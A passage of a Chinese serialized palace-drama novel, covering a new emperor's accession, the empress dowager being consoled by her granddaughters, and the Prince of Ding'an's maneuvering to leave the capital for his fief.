众人见状心中纷纷松了一口气,还好还好,主子只是暂时癫狂,否则他们也会很麻烦的。 先帝大行,依据其生前的功过德行,议谥、定庙号,最终定下,日后再称呼先帝便是太宗文皇帝了。新帝从东宫移居至宣室殿,册太子妃梁氏为皇后入主中宫椒房殿,尊生母为皇太后迁居至千秋宫,其余先帝妃嫔,已生育皇嗣者进为太妃、太嫔,未生育者可自愿留于皇宫接受奉养或是赐金还家。 新帝即位后,女性长辈之中,姑母越国长公主进为越国大长公主;新帝的三位妹妹,其中栎阳长公主加封镇国,为镇国栎阳长公主,宜城公主与汝阳公主皆进为长公主;新帝的弟弟,已然封王就藩的如定安王等人暂且不论,余下还有先帝的七、八皇子两位皇子尚未成年,可依旧居于宫中接受教养,待成年后开府分封再行离宫。 这一套安排处置下来大体来说并没有什么的问题,但在允许先帝未生育的妃嫔还家之事还是引起了朝中的一些议论,认为新帝如此处置先帝的妃嫔不妥,此前从未有过先例。但因为新帝坚持,反对的声音也小,此事便过了。还有就是新帝给栎阳长公主加封“镇国”二字,不少朝臣觉得太过了,“镇国”二字岂能轻易给出。可在对待此事上,新帝的态度比前者还要坚决,完全就是一副没得商量的架势。 有人还想再谏,却被同僚扯了扯袖子,脑子里突然想起新帝为太子时,栎阳长公主襄助颇多,新帝这是念着妹妹多年的扶持特意要给栎阳长公主的殊荣。再说下去只会让新帝厌烦,也会得罪栎阳长公主。这并不值当。 想通之后,这些人也就退了。 因先帝遗诏,勿使扰民,耽搁农事,朝廷特定国丧期为一月,期间禁绝一切婚嫁与宴席酒乐。湛京各家各户门前都挂上了白纸糊成的灯笼,高门勋贵家的子弟也被耳提面命告诫这段时期都老老实实待在家中,勿要在惹是生非。向来热闹繁华的京城因此安静了许多。 “慢些跑,小心别摔着。”千秋宫中,太后看着几个凑在一起玩耍的大大小小的萝卜头,久违地露出了笑容,一面又吩咐宫侍好生看顾着他们。 周围陪同的人看到太后心情愉悦,多多少少是松了一口气的。先帝崩逝,大家心中都难过。太后与先帝结发夫妻,心中的悲伤只会比旁人更甚。如今先帝丧仪已毕,可亲近之人却发觉太后平静之下依旧神思恹恹,恐她长时间沉浸在悲伤之中,哀极毁身。 如今大家都盼着太后好,越国大长公主经常与淄川王妃、荣王妃以及一些如同定国公妇人这样的外命妇入宫与太后说话,拉拉家常。在发现太后情绪仍是不高之后,越国长公主干脆将自家的孙儿孙女都带入宫,梁皇后与江都王妃会意,也将自己的女儿带来千秋宫,有了孩子的陪伴,太后面上总算是见到些笑了。 眼下千秋宫里的孩子足足有六人,年纪最大的是八皇子与阿荧,随后便是越国大长公主的两个孙子孙女,最后才是三岁的阿圆与两岁多点的阿瞳。阿瞳待在一群比她大的哥哥姐姐里,小小一只,因为她是最小的妹妹,长得粉粉糯糯,格外乖巧可爱,让八皇子与阿荧稀罕得不得了,一个喊着“小叔带你去玩”,一个喊着“姐姐抱你”,可是抢手。 “孩子多了,也显出热闹来了。”越国大长公主笑眯眯地看着几个孩子嬉戏打闹,她的两个孙儿因为抱不到妹妹阿瞳跳着脚干着急也不管,反而笑得更欢了,嘴里“诶呀呀”道,“别说孩子们喜欢,我也稀罕阿瞳。阿嫂前有阿荧,后有阿瞳,两个孙女都这般好,真是羡煞旁人了。” 越国大长公主说的是实在话,漂亮的小姑娘谁都喜欢,如果那是自家的就更好了。 他们百里氏的人历来都长得不差,先帝当年是有名的美男子,长嫂年轻时的相貌更是没得说,漂亮人与漂亮人生出来的孩子也会好看,看看新帝兄姐弟三个就知道了。梁皇后与江都王妃都是精致人,如今的阿荧与阿瞳也都是漂亮娃。 “你那眼神跟狼似的,别等下走了还想把她们小姐妹俩拐回去。”荣王妃凑趣,也在旁边玩笑着说了一句。 一时之间,惹得身边人都笑了。 越国大长公主等人在千秋宫待了一段时间,之后便带着自家的娃告退离开了。大人们还没什么,孩子们却是依依不舍,他们很少一次性遇到这么多的兄弟姐妹,还少见的都能合得来,就怕下次没机会凑在一起玩了。 几个孩子依依惜别的场面看得人好笑,阿圆更是抹着眼泪不想走,还是李氏向他保证日后还会有机会与阿瞳妹妹一起玩才肯回家。 等越国大长公主一干人离开之后,千秋宫里又恢复了之前的冷寂。太后看着眼前这座还不熟悉的宫殿,神思再次飘远了。 “哒哒哒。”阿瞳跑过来抱住了太后的腿,仰着小脸看向祖母,黑亮的眼睛里闪着纯粹的真诚,巴巴地问,“祖母不开心,这里都皱起来了。”她想抬手去抚平眉心皱起的痕迹,奈何身高不够,一时之间有点着急。 太后看着孙女笑了,将她抱到了怀里,让她伸手够到自己的眉心将痕迹抚平。 阿瞳很有成就感,也很认真很肯定地告诉祖母,“弄平了,这样就不会不开心了。” 太后被她逗乐了,抱着孙女说道:“是啊,我们阿瞳真是厉害,一下子就让祖母开心起来了。” 阿瞳得到了肯定,确认祖母是真的开心了,她把自己往祖母怀里又缩进了些,想了想又转过身张开自己小小的手抱住了祖母大大的身躯,安慰大人,“阿瞳在,祖母不要不高兴。” “好,祖母有阿瞳在身边,高兴都来不及。”太后因先帝崩逝的伤感一下子被小孙女的暖心安慰冲淡了,她伸手招呼大孙女阿荧过来也将人揽住了,问她们累不累、渴不渴,转头吩咐掌宫令拿点心、饮子过来给她们吃。 小姐妹俩之前玩了一阵确实是累了,这会儿乖乖地同坐在一张食案前用食。阿荧很有姐姐的自觉,自己一边吃一边注意着妹妹的情况,看着她若是有不方便就会帮一帮,用完茶点后看到妹妹嘴角的点心渣没有擦干净,展开自己的帕子小心给她一点点擦拭干净了。 阿瞳感受到阿荧姐姐对自己的照顾,很认真地表达了自己对姐姐的感谢。阿荧则是看着身边这个可爱的萌娃,忍不住在她细嫩软糯的小脸上亲了亲,跟自己想象的感觉一样,不应该说是比想象中的感觉还要好,笑得一脸满足- 作者有话说:更新啦。 定安王:嫉妒使我面目全非。 第186章 想跑路的定安王 真好, 她有一个妹妹而不是弟弟。 阿荧觉得男孩子大多都调皮捣蛋,时不时就会做出一些糟糕的举动来(没错,这里说的就是八皇子)。妹妹就不会这样, 阿瞳漂亮可爱,她是很高兴自己能够成为阿瞳的姐姐的。 是的,阿荧一直有一个当姐姐的愿望。她曾经问过母亲梁皇后,自己以后会有一个弟弟还是妹妹,得到的回答却是母亲说她只会有自己一个孩子。说实话, 那时候是有点小失望的。但那时候她敏感地察觉到母亲似乎有些难过, 就没有在这个问题上继续问下去了。 比起想要一个妹妹的愿望来说, 阿荧更不愿意让阿娘难过。她很快将这个念头抛之脑后,可是有一日, 她的五叔抱着一个粉嫩团子来到她面前,告诉她这是妹妹。她惊喜又无措, 转头去看阿爹阿娘,见他们含笑点头。 那一日, 阿荧宣布, 五叔是她最喜欢的人。 阿爹说了, 作为姐姐,要时刻记得看顾保护妹妹,这是一个称职姐姐应尽的责任。因为她以前是宫中辈分最小的孩子,阿荧从来都是被看顾的那个,如今颠倒过来了,那感觉还是很新奇的。随后她就开始学着如何看顾妹妹,初时是有点笨拙的,但如今已经很有模样了。 太后含笑看着孙女们的互动,好一会儿转头对陶掌宫说道:“去与中宫和王妃说一声, 孩子们这几日就留在千秋宫了。近来事多,让她们也都顾惜着些自己的身子。” 为先帝治丧是国之大事,礼仪繁重,身体稍弱些的人都吃消不住。且这段时间也不只是治丧之事要忙,因为新帝登基君主更替,前朝后宫也要跟着有所变动,许多事务便堆叠到了一起,梁皇后作为中宫要统筹后宫事,江都王妃作为弟媳也在帮衬着,均忙得不可开交,孩子自然也没法亲自照看了,便来请托太后帮忙看顾着些。 其实明眼人都看得出来这不过好听的说辞罢了,梁皇后与江都王妃再怎么忙碌,也不至于让孩子无人看顾,宫中或是王宅之中自有底下人去尽心照顾两位小主子。如今说是将孩子请托给太后照顾,无非是新帝与江都王这些儿女们担心母亲因先帝崩逝而哀极伤身,特意派两个孩子来慰藉祖母罢了。 底下的儿女们念着她这个母亲,太后自然也是惦念着他们的。 “是,奴婢这就令人去。”陶掌宫看着太后明显比之前好了不知道多少的精神头,满面欢喜,当即应下去办了。 先帝的丧事过后,众人的生活基本上回归了之前的状貌,但许多人也发现有些东西已然发生了变化,最直接最明显的就是他们头顶着的那片“天”变了,从先帝变成了新君,原先只是监国的太子真正坐到了那把龙椅上,他们叩拜、三呼万岁之人成了新帝。不过因为之前两三年新帝一直作为监国太子出现在朝堂上,朝臣们大多数也与新帝磨合得差不多了。如今新帝继位,许多人还是接受良好的。 历来新君立,三年无改于父之道。这既是新君对先帝的孝道也是出于稳定朝局的需要,因此很多时候朝廷内外不会有什么大的变动,只是在一些细微之处做些调整。新帝新帝继位之后,朝堂的格局大体没有变化,只是对一些官职进行了人员调动,一些东宫僚属开始入朝参事。这也是正常操作,东宫僚属本来就是为太子培养的班底,如今太子成为新君了,东宫僚属们自然也随之进入朝堂。 因先帝崩于九月,如今新帝虽已即位,但为了以示对先帝的孝道,今年不改元,仍以“兴业”为年号,待明年正旦再行改元。新的年号已经议定,为永熙,翻过年后便会正式启用。 国丧期后,定安王正式上疏请求新帝允许他返回封地,理由很简单,说他蒙受先帝恩德就封定安,既为一地之主自当承担起治民理政的责任,如今国丧期已满,定安积攒了诸多事务亟待他回去处置,他现在要回去定安国处置,特来向新帝辞行。 先帝崩于九月上旬,国丧期为一月,眼下是十月已过,正是十一月初。按理来说,定安王提出这个要求看着很正常亦很合理,但大家可都没有忘记定安王是先帝诸子之中表露过对皇位有想法之人,他为此与东宫与椒房可是别了不少苗头的,两边之间可是有龃龉的。 如今新帝继位,难保着没有存在收拾定安王的想法。定安王怕也是担心新帝会对他进行清算,这不,国丧期一过就忙不迭地想要跑路了。 新帝对此事的处置是,留中不发,既没有说允,也没有说不允。可这在定安王看来,跟不允有什么区别,难道如今的他踩在湛京的地头,还能在新帝没有发话的情况下自己先跑了不成?信不信他前脚刚跑,后脚新帝就能给他罗织罪名将他处理了。那样跟自己送上去给新帝他们杀有什么区别。 眼看着新帝扣下他的上疏不给回应,定安王自然不会坐以待毙,他在朝中也是有人脉与势力的,随后便有朝臣附和定安王之言,让新帝放他回去定安国。说辞与定安王的意思大差不差,甚至还有暗中指责新帝扣着人不放,是否过于小气或者有别的不可告人的心思。 这些人眼看着越说越离谱,拥护新帝的朝臣们自然不能任由他们给新帝泼脏水扣帽子,什么“先帝尸骨未寒,陛下就要对手足兄弟下手”,简直是胡说八道,陛下做什么了就要被你们扣上这么大一口黑锅。你们哪只眼睛见到陛下为难兄弟了,竟敢张嘴就来攀诬陛下,是何居心?还是尔等真的心怀不轨,妄图离间天家兄弟,本来没影的事让你们越扯好像真有这么一回事似的,真是其心可诛。 再说了,再过不久就是朝献之期了,定安王何必急着回去,一来一回岂不麻烦。其他的几位诸侯王都没有提这一茬,怎么就定安王火急火燎地要回去,难不成就只有定安国的事务堆垄繁杂? 围绕着这事,朝堂上很是激烈地辩论了一通。定安王这边的战斗力显然是不足的,主要是他们没有对方有力,硬扯出来的那些点跟脚都站不稳,哪里喷得过对面的人,以至于有两个朝臣因为喷上头了脑子一热说话不过脑子,说了不该说的话被杖责流放了。 “蠢货,都是一些没脑子的东西。”定安王气得转头又在书房里砸了一堆东西,偏偏这底下人办事不力,在这关头他还不能不管他们,捞是捞不起来了,只能花钱打点让那两个被流放之人在路上好过点,还得照顾他们的家小。成事不足败事有余的东西,换作平时他都懒得管他们去死。 “大王,此事若只有您一人是不够的,若是再拉上一两位,新帝不放您走也不行了。”谋臣等定安王砸完东西了,看着地面上一地的瓷器碎片、玉片,心中很是痛了一下,这些可都是好东西啊,就这样给砸了,真真是暴殄天物。 “本王焉能不知。”定安王觉得他说了一句废话,“若是能说得动,本王何至于孤立无援。” 定安王当然知道此事若是能够拉上长夏王、山阳王,甚至是拉上淄川王一起上疏是最好的。新帝扣着他一个人不给放还能有理由说得过去,可若是扣着兄弟们都不放那就说不过去了,哪怕新帝确实什么都没有做那不能拜托他要对兄弟下手的嫌疑。甚至于淄川王还是嫡亲的王叔,他若是出声了,新帝都不能有一点的迟疑,立时就得让他们离开湛京。 可偏偏老四和老六都是孬种、势利眼,眼见着新帝上位,一个个变得唯唯诺诺,老四更是怂包一个,他几年前在街上骂椒房的胆气哪去了,吃了一记挂落之后就把头缩到龟壳里去了,到现在都没有敢再伸出来。 淄川王那边,他特意去登门拜访,得到的尽是一些敷衍没用的话,说来说去就是不愿意帮忙,这是也看准了他不如太子。碍于淄川王是长辈,他也不好说什么,只得告辞离开。 谋臣被瞪了也没有退下,而是继续说道:“先帝新丧,淄川王作为先帝唯一的胞弟总不会愿意见到天家不睦、新帝一上来就收拾兄弟的。大王不妨再试之。”一次不行就多去登几次门,言辞恳切些,再示之以弱,不信打动不了淄川王。 定安王冷静下来沉思,没有再说什么。 谋臣见状便知道他是将自己的谏言听见去了。 …… 被定安王说成“怂包”之一的长夏王正在长夏王宅之中坐立不安。他之所以如此很大程度上并非来源于恐惧,而是犹豫不定带来的左右为难。说实话,那日定安王上门同他说的那些话对他并非没有一点触动,他也确实是想要回自己的封地长夏国去的。 只是如今新帝继位,皇位之上坐着的人从皇父变成了长兄。别的不敢说,他敢担保,长兄对他的容忍度绝对会比作为亲爹的先帝低。如今新帝与老三明摆着不对付,他要是上赶着掺和进去,别到时候他们还没有分出胜负,自己就先被炮灰了。 现在的长夏王已经不是之前的长夏王了,他之前被狠狠锤过一回,已老实,自觉自己斗不过新帝与定安王,已经打算老实地缩着了。他现在就盼着能够早日回到封地,尽管他如今封地过得已不如之前的快活肆意了,但总比留在湛京好。湛京里规矩多,能够压制他的人太多了,他做什么都不痛快,甚至这段时间只能待在王宅里哪都不能去,无比憋屈。 定安王上门说了不少话,一些话直接戳中了他内心最担心的事情。定安王说:“你就不担心老大他们不放你回去么?别忘了,之前你可是狠狠得罪过他们一回的。即便他们碍于名声不会对你做什么,可待在这湛京城里就已经足够难受了,不是么?” 这些话不能说是完全看穿了长夏王所想,也是正中红心了。 是啊,他与新帝那边是有过仇怨的,他有多讨人嫌自己也是心中有些数的。虽说新帝在做太子时向来仁厚宽宏,可百里澄不是啊。正如老三所说,他们不一定真的会对他做什么,可是万一呢?仅仅是将他扣在湛京城这一项就足够令他难受了- 作者有话说:更新啦。 想问一个问题,大家是喜欢看完结文还是连载的? 第187章 岁前 长夏王觉得或许他应该听老三的话, 跟着一起上疏请求返回封地。长兄可以驳回一个兄弟的,总不能两个兄弟的都一起驳回了吧。可是,真这样做的话, 长兄说不得会以为他偏帮着老三,到时候连他一起收拾怎么办?他可不是老三,底蕴丰厚。 他被定安王的话说得心动但是又不敢真的迈出那一步,瞻前顾后。不去做吧,自己心里也真的害怕日后自己会被扣在湛京不能回封地了;可真要是跟着定安王上疏了, 他又更担心新帝那边可能会有的打击报复。 那次定安王登门, 长夏王权衡利弊之后选择拒绝与定安王一道上疏, 可是真的拒绝了之后,他又隐隐有些后悔。结果就是两种想法一直在他的脑海里打架, 让他整个人都陷入到一种焦虑不安之中。 因为焦虑过度使得长夏王整个人陷入到了一股无比的烦躁之中,王宅中的人见到他恨不得绕道走, 生怕一不小心就成为他发泄的口子了。长夏王妃却不惯着他,反而一语挑破了他心中所想, 还说道:“本来一件事不干大王的事, 可大王若是偏要拎不清地自己凑上去, 那么本来无干的就必然要与大王脱不开干系了。大王本有决断,何故摇摆?” 长夏王心里想的那些小九九长夏王妃一清二楚,她太清楚这个丈夫是一个什么德性的人了。如今倒是担心新帝那边会不会因为往日的仇怨借机收拾他了,那当初做事情的时候怎么就不能动动脑子想一想会不会有今日。 眼下他又准备要犯蠢,本来长夏王妃冷眼看着他犯蠢就行了。可是当下却不行,她不能让长夏王真的犯蠢掺和进新帝与定安王之间的纷争之中去。她相信新帝与栎阳长公主他们都不会再拿以前之事与长夏王计较,可人不能一直干蠢事。看在先帝与同父所出的兄弟情分上,新帝他们可以原谅长夏王偶尔犯蠢一、两次,可是却不会原谅他再三干蠢事妨碍到自己。 真要是让长夏王掺和到这次的事情里, 他一定会被再一次狠狠收拾的。长夏王妃不在乎长夏王如何,但是现在长夏王不能出事,他毕竟是女儿的父亲,如今的女儿还太小,不管这个长夏王这个亲爹如何的烂,至少他现在还不能有事。等女儿长大一点,再长大一点,她就不必去管他的死活了。 长夏王目光对上王妃的,心中猛然一跳。他不是听不懂好赖话的人,王妃的意思他也明白,那颗本来向右摇摆的心一下子又正回了原位。但他被王妃毫不客气地戳穿了心中所想,便觉得颇为难堪,斥骂道:“你一介妇人懂什么。再要胡言乱语,休怪本王不客气。” 长夏王妃早就习惯了丈夫的这副狗德性,听到他斥骂的话也不以为意,她只要确定他不会又动了上疏的心思就足够了。当下,她也不再说什么,略施一礼后便转身离开了。 …… “大王,陛下请您到宣室殿一叙。”千秋宫内,百里漾正含笑看着太后与阿瞳祖孙俩说话,忽然从殿外来了一位在宣室殿伺候的内侍来请他道。 “既然陛下找你,那你便去吧,别让他等久了。”太后见状便放了小儿子的行。 “阿爹要去哪里?”阿瞳察觉到父亲似乎要离开这里,不由得有些着急了,小跑着过来抱住百里漾的腿,仰着小脸问道。 “你大伯父找阿爹,阿爹要过去一趟。”百里漾看着面前的这个小粘人精很是受用女儿对自己的黏糊,蹲下/身来抱了抱她,“你在这里陪着祖母,阿爹要不了多久就会回来了。” 大伯父?阿瞳歪着脑袋想了一下,很快记起来大伯父是谁。那是一个与阿爹长得有点像的人,但是他比阿爹瘦,皮肤也比阿爹白,嘴巴上还有一条黑黑的胡子。他还是阿荧姐姐的父亲,也是一个对她好好的人。 于是,阿瞳点了点头,表示自己知道了,“阿瞳会在这里等阿爹的。” 百里漾见状乐得又摸了摸女儿的脑袋,出了千秋宫后便直奔宣室殿了。只是在宣室殿外,不意迎面遇到了正从殿内出来的淄川王,百里漾拱手行礼,问候道:“王叔。” “是五郎啊,来寻陛下的,他正在里面呢。”淄川王似乎有些心不在焉,并没有第一时间看见迎面走来的百里漾,而是听见声音抬头之后才发现的,当即笑道。 “我这便进去。”百里漾点头说道。 因在宣室殿外不是好说话的地方,叔侄俩相互问候过便分开了。 “五郎来了,坐。”宣室殿里,新帝见到百里漾很是高兴,指着下首的椅子让他坐。 内侍奉上茶,安静地退到了稍远一些的地方,不使扰了二人谈话但若有什么吩咐也能很快听到去办。 “你来时碰见王叔了。”新帝说道。他是知道百里漾是从太后所在的千秋宫过来的,算着从千秋宫到宣室殿的距离以及淄川王离开的时间,不难猜出百里漾与淄川王在门口遇上了。 “是碰上了。”百里漾点头。他看了眼长兄,想起遇见时淄川王叔的神态,再联想到最近发生的事情,眉头不由微微挑起,“淄川王叔此次前来莫不是为了来说三王兄之事?” “不错。”新帝回想不久前淄川王与他所言,轻轻叹息,“王叔是长辈,到底是盼着百里氏上下能够和睦、众人相亲的。” 百里漾闻言便知,与他所料不差,淄川王叔这回进宫应当是来委婉劝说长兄的,估计是让长兄不要与定安王一般见识,某种层面上来说也是来为定安王求情的了。 自家人清楚自家事。淄川王作为先帝唯一的胞弟,如何看不出定安王对新帝这一脉有一争高下之心。从前有先帝在,先帝自会管教下面的儿子们。如今先帝不在了,淄川王作为与帝室血缘最为亲近的王叔,能劝还是要劝一下的。正如新帝方才所说,大家都是姓百里的,皆骨肉至亲,自当以和睦为上,能不闹到手足相残的局面是最好的。 “淄川王叔一片苦心,三王兄未必会领情。”百里漾面色冷淡道。 定安王为了争位这些年以来做了多少事情,怎么可能愿意就此歇了那心思就此前功尽弃,况且以他之性子不是愿意屈居人下的,他恐怕依旧觉得自己大有胜算,今日低头不过是人在“屋檐”下,等走出“屋檐”后就好了。 淄川王希望定安王不争,老实本分地做一地诸侯王,他大抵不会感谢淄川王,反倒觉得淄川王也不看好他,觉得他不行。 百里漾:“那么此事阿兄打算如何处置?” 说的是最近闹得颇凶的定安王上疏请求返回封地一事。其实百里漾私心里觉得能将定安王扣在湛京是最好的,如此他再想翻起什么风浪来就没有那么简单了。可这事是却是行不通的,一旦这么做了,想也知道外界会说些什么难听的话出来,史书上记载也不会有什么好话,有损长兄的名声不说,现实是宗室与朝堂上反对的声音也不会小。 “本来就是吓吓他的,若不让他提心吊胆一阵岂不便宜了他。”新帝笑了笑,那笑意却是不达眼底。 没有人会喜欢一个时刻想着如何与自己作对、觊觎自己位子的人,新帝再是宽宏也不会容许定安王再这么蹦哒下去。 “咳咳咳。”新帝喉咙间忽然泛起一股挥之不去的痒意,紧接着便是一连串难以抑制的猛烈咳嗽,略显苍白的面色更是因为咳得过于狠而泛起了一团不正常的潮红之色。 百里漾一惊,连忙起身去拍抚长兄的后背给他舒缓,目中显出担忧。 “无事,老毛病罢了。”急促咳了一阵后,喝了内侍奉上的雪梨川贝汤好多了,新帝才摆摆手说道。 百里漾看着长兄因为剧烈咳嗽而变得殷红的嘴唇,心中仍不是很放心,“阿兄还是召太医来看看吧。” 新帝没有答应,为了让弟弟宽心,又说道:“无非是近来天气多有反复,一时不慎有些着凉了,算不上什么。” 眼见新帝不愿意在这件事情上多说,百里漾只好不再提了。随后新帝继续说之前被打断的事情,“老三的事情不急,再晾他几日。倒是你,可是要回江都一趟?朝献之事也不用着急,江都那边若是有人能够筹备得过去,你也不必回去了,留在湛京多陪陪阿娘罢。这些年你不常在湛京,她老人家时常念叨你。” 这时候距离正旦的朝献之期也没有很长的时间了。新帝显然是希望弟弟留在湛京,后面之事等过了年再说。朝献之事也非要百里漾亲自操办不可,往年都有成例,江都的班底也都培养出来了,内有范国相坐镇,不怕出什么乱子。 百里漾之前就想过这事,他也想留在湛京多陪陪阿娘,当下便应了,“我听阿兄的。” 新帝闻言便笑了。 兄弟俩在宣室殿继而开始商讨一些近来的朝局之事,一直说到了千秋宫派人来请他们过去用膳才堪堪罢休。 用过晚膳后,百里漾又陪太后说了会儿话,便起身告辞要带着阿瞳回江都王宅了。临走之前,阿瞳竟说她不走了,说自己已经与阿荧姐姐约好今晚一起睡觉。 百里漾看着眼前手拉着手面露希冀望着他的小姐妹俩,哪里说得出拒绝的话,只是叮嘱道:“可以,但是你要乖乖的,不要调皮知道么?” “嗯嗯,阿爹你最好了。”得偿所愿的阿瞳重重点头,为了表示感谢还在亲爹脸上“吧唧”了一口,挥手作别,转头愉快地与自己的阿荧姐姐继续玩去了- 作者有话说:更新啦。 第188章 岁月 很显然, 凭借着绝世可爱在皇宫之中混得如鱼得水的萌娃阿瞳已然有些乐不思蜀了,有了玩伴连爹娘都暂且抛之脑后了。 见此情形,百里漾能拿女儿怎么办?自然是随她高兴了。 “阿瞳还要再拜托阿娘照看了。”百里漾只得再次请托太后道。 太后巴不得如此呢, 满面慈爱看着两个孙女,连个正眼都不给幼子,朝他挥手道:“去吧去吧,阿瞳在我这你大可放心。” 百里漾:“……” 百里漾只好一个人孤独地回去了江都王宅,迎接之人是长史。长史在江都王宅任职已有不少的年头, 也是看着自家大王迎娶王妃、诞育王女, 很能明白自家大王对妻女的看重。眼见自家大王形单影只地回来, 不等问便主动开口说道:“大王回来的时辰早,眼下王妃还未回。” 闻言, 百里漾迈向主院的脚步一顿,“王妃竟没有回来么?” 长史见状立即贴心道:“大王可要亲去接王妃, 臣这便去令门房准备车驾。” 百里漾看了满面笑意的长史一眼,目露赞赏, 叫他去准备, 转头又吩咐左右去令人准备热汤, 备着王妃回来取用。 今日长姐栎阳长公主邀了弟妹过去叙话,直言这是她们女人之间的事情,拒绝百里漾跟来。百里漾很憋屈,他也想说自己其实里子与她们是同类来着,但这大实话他没有办法说,只好将王妃送到栎阳长公主宅之后带着女儿入宫去给太后请安了。 百里漾在宫中待了一整日,回来之时女儿不跟他也就罢了,谁知回到家里王妃还被长姐“扣”着没有回来,他心中忽然生出一点凄楚落寞之感来, 很快,他又将这点莫名的感觉甩出去,亲去栎阳长公主宅接王妃了。 至栎阳长公主宅后,无需通禀,立时就有侍人引着百里漾至主人栎阳长公主跟前。到了地方后百里漾才发现面前的都是女子,怪不得长姐拒绝他来。眼前之人除了长姐与王妃外,还有宜城长公主、百里漾曾经见过的师娘子、高大娘子以及几个未曾谋面或是没有印象的女子,这确实是一场他不合适参与的聚会。 既见了面,百里漾连忙与众人问好,也得到了她们的回礼。 百里漾明知故问道:“五郎,你来作何,不是说了不让你来么?” 话音落,便引得其他人发出低笑声。 百里漾岂能不知长姐促狭的性子,这是又起了捉弄调笑他的心思,但他已不是当年脸皮薄的他了,很坚强地抵住了,很实诚道:“恐天冷夜深,来接王妃回家。” 这次是宜城长公主说话了,她目光在百里漾与颜漪夫妻俩转了一圈,“哟”了两声,目有促狭,“五郎光想着来接王妃回家,却不曾想过阿姐我也怕天冷夜深,亦无人来接呢。”很有暗指他眼里只有媳妇的调笑之意。 换作是以前,宜城长公主决计不会对百里漾这个关系不甚亲厚的弟弟说这样的玩笑之话,可这一两年间她与长姐之间走动得多了,久而久之与新帝乃至百里漾这两个兄长和弟弟的关系也亲近了许多,类似的玩笑话也说得出来了。 百里漾也很坚强地抵住了来自二姐宜城长公主的调笑,并表示二姐若是愿意,他也可先送她回宜城长公主宅。 宜城长公主见逗不了弟弟,也就不再继续了,拒绝了百里漾说的可以先送她回去的提议。她一个长公主自有长公主规制的车驾,即便没有人接自然也是回得去的。 百里漾来是来了,却不是来扫她们兴的,表示自己来的不是时候,聚会若是没有结束,自己可以到外面等待,等她们聚会结束了再接王妃离开。随后他便被请到了长公主宅中的一处花厅等待,侍人奉上茶点,请他在此稍候。 百里漾坐在花厅里,一个人的时候思维很容易发散。他先是想到了今日在宣室殿时新帝与他说的朝局之事。如今长兄奉先帝遗诏登基继位,是名正言顺、无可指摘的正统,定安王再想搞事情首先在名分上就过不去,新帝想要收拾他也会比之前容易许多。只是眼下新帝刚刚践祚,许多事情宜静不宜动,现将朝局稳住,等彻底坐稳了位子,定安王若再不安分,收拾他也是轻而易举之事了。 想完了朝堂之事,百里漾的思绪回归到自己身处的环境里。他想着隔着不知道多少间屋子正在进行聚会的王妃与长姐她们,其中有他认识的人,也有他不熟悉的面孔。不过能在这时候被叫到长公主宅参与聚会之人,无疑都是长姐亲近且信得过之人。 说实话,百里漾见到高大娘子时是颇为意外的。要知道他将高大娘子举荐给长姐是在去年年末,不到一年的时间她便能与长姐同桌而饮了,可见她的能力已经得到了长姐的认可并被引为心腹干将了。 这段日子他也听说过高大娘子在湛京的生意做得多么红火,可见他当初将高大娘子引荐给长姐的决定是对的,高大娘子值得更广阔的天地,而长姐向来欣赏有才干之人,若是女性她会更加欣赏,更愿意给予晋身的阶梯。 “大王。”正当百里漾沉浸在思绪里时,一声轻唤将他拉了回来。他看向不知何时站在他面前的颜漪,继而看到了后面的长姐与二姐。 这是结束了? 百里漾连忙起身,朝二人点头示意。 “好了好了,你可以带你的王妃回去了。”宜城长公主朝着二人笑眯眯说道。 夜色之中,宜城长公主与百里澄看着百里漾和颜漪携手登车离开,她低低叹息,约莫是自己也觉得神奇,“五郎看着还当真是与众不同呢。” 别说在整个百里氏了,就是整个湛京圈子里也没有几个像他这样的。 宜城长公主又叹道:“弟妹的运道真是令人羡慕啊。” 这里说的是颜漪找夫君的运道,她想起自己从前选了贺文渐那个玩意当驸马,至今还在悔恨自己当初的眼瞎。宜城长公主又看向旁边的长姐,“阿姐的运道也是让人羡慕。” 同样是一母同胞的亲姐弟,看看长姐的亲胞弟是什么样的,再看看自己的那个弟弟山阳王,那厮之前还想着把她这个姐姐卖了换取好处,还美曰其名是为了她着想,不知所谓的自私玩意。 百里澄闻言淡淡瞥了她一眼,反问道:“难不成你就不是他的阿姐了么?” 宜城长公主微愣,随即明艳的脸上绽开了一个大大的笑容,“是哦,我也是五郎的阿姐之一,我的运道也不差嘛。” 百里澄转头,眼睛觑着她,“你若还有话便快些说,省得我在这里与你吹冷风。” 宜城长公主又笑了,笑了一阵后,她面上换上了认真的神色,声音在夜风之中显得轻盈,“我这下是相信你之前说的话了。” 百里澄微挑眉看着她,继而也笑了。 这会儿只有她们彼此知道她们说的是什么。 回到江都王宅,百里漾与颜漪慢慢行走在回主屋的路上。 晚风有些凉,百里漾摸了摸王妃的手,发现有些凉,旋即解下自己身上的披风披到她的身上。两人都没有说话,享受着这一刻的温馨与静谧。 只是走着走着,百里漾看着身边的王妃,忽然自己忍不住轻笑出了声。颜漪有些莫名,转眸看他,用目光表示询问。 百里漾收了笑,但眼中的笑意不减,他说道:“感觉我们似乎很久没有这般两个人做一处了。”他特意强调“两个人”,自然是因为他们之间还有一个阿瞳,很多时候他们都是在围着那个小不点转的。 眼下阿瞳不在身边,突然还有点不习惯,又好似有点回到了之前的两人世界的感觉。 颜漪知道他在说什么,面上挂着清浅而柔和的笑意,“这话大王可不要再阿瞳面前说,若是惹哭了她,我可不会帮忙哄的。” 虽然知道王妃是说玩笑话,百里漾还是故作夸张地变了脸色,求饶道:“可不敢让她知道,还请王妃饶了小王则个。” 他偶尔的耍宝逗趣逗乐了颜漪,目光定定看着他,只觉得数年已过,这人依旧是当年模样,什么都没有变,真好。 百里漾不知道她心中所想,只觉得王妃此刻看自己的目光实在是温柔似水,上前执了她的手,两人继续一面慢悠悠地走着,一面同她说了今日新帝让他留在湛京之事,目中有欢喜,“想是能够看到今冬的第一场雪了。届时邀上三五亲朋知交,围炉煮茶,雪夜赏景,定是一大快事。” “第一场雪么?”颜漪被他说得也生出了几分向往,“的确是好久不曾见到了。” …… 兴业十八年十一月初,湛京迎来了今冬的第一场新雪。 朝堂之上,新帝允了定安王返回封地的辞呈,之后的第三日定安王便携妻子等人离京返回封地定安国。 次年正旦,新帝正式改元永熙,当年为永熙元年。岁首,永熙帝大赦天下,免去年因灾受难的州郡一至三年不等的赋税。 正月,诸侯王按制入京行朝献之礼。定安王称病未曾亲自前来,而是令王国相护送王世子入京代父行朝献之礼。 朝中议论不止,认为定安王诈病不亲身来朝是为大不敬,应当予以惩处。朝中亦有为定安王说话的,辩驳了诈病之说,又说定安王若真心存不敬之心,何必遣王世子入京- 